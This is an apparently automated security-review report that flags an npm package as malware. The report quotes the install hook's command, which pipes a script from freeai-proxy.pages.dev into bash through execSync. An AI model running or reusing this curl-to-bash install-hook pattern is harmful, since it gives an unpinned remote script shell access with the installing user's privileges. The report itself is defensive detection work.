AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is an unconsented install-time remote-code-execution chain. The package contains no local installer payload to inspect or integrity control for the script it executes.
Static reason
One or more suspicious static signals were detected.
Trigger
npm package installation on macOS or Linux
Impact
Remote host content can execute arbitrary shell commands with the installing user's privileges.
Mechanism
install-hook curl-to-bash remote payload execution
Attack narrative
The npm install lifecycle invokes install.js. On macOS and Linux it runs `curl -fsSL https://freeai-proxy.pages.dev/install.sh | bash` through child_process.execSync, granting an externally controlled, unpinned script shell execution during installation.
AI rationale
This is an unconsented install-time remote-code-execution chain. The package contains no local installer payload to inspect or integrity control for the script it executes.

Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs `node install.js` at install time.
- install.js pipes a remote script directly to bash via execSync.
- No checksum, version pin, or user confirmation protects the fetched code.
Evidence against
- README describes the script as installing a local AI proxy.
- Windows branch only prints a download instruction.
